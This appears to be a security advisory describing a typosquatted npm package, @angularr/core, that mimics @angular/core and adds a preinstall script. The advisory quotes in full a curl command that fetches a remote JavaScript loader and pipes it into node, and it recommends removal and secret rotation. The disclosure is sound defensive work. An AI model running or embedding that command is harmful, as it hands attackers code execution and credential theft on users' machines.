MAL-2026-17493 Malicious code in @angularr/core (npm)
- Package
- @angularr/core
- Registry
- npm
What is MAL-2026-17493?
MAL-2026-17493 is a malicious package in @angularr/core, published on 3 Oct 2026.
Official description
@angularr/[email protected] impersonates @angular/core (by name only; its code is an unrelated library described as "Core Libs") and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @angularr/core and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.
The package's npm preinstall lifecycle script runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching a JavaScript payload from a third-party host and piping it directly to node for execution on every npm install. The destination (gitflic.ru under a user path hellscripter/install-scripts, routed via a web.archive.org proxy) is unrelated to any @angular publisher infrastructure, is unpinned, and is not integrity-checked. Whoever controls that path controls code execution on the installer's host. The package name @angularr/core is a one-letter variant of the widely-used @angular/core, increasing the likelihood of accidental installation.
What should I do about MAL-2026-17493?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.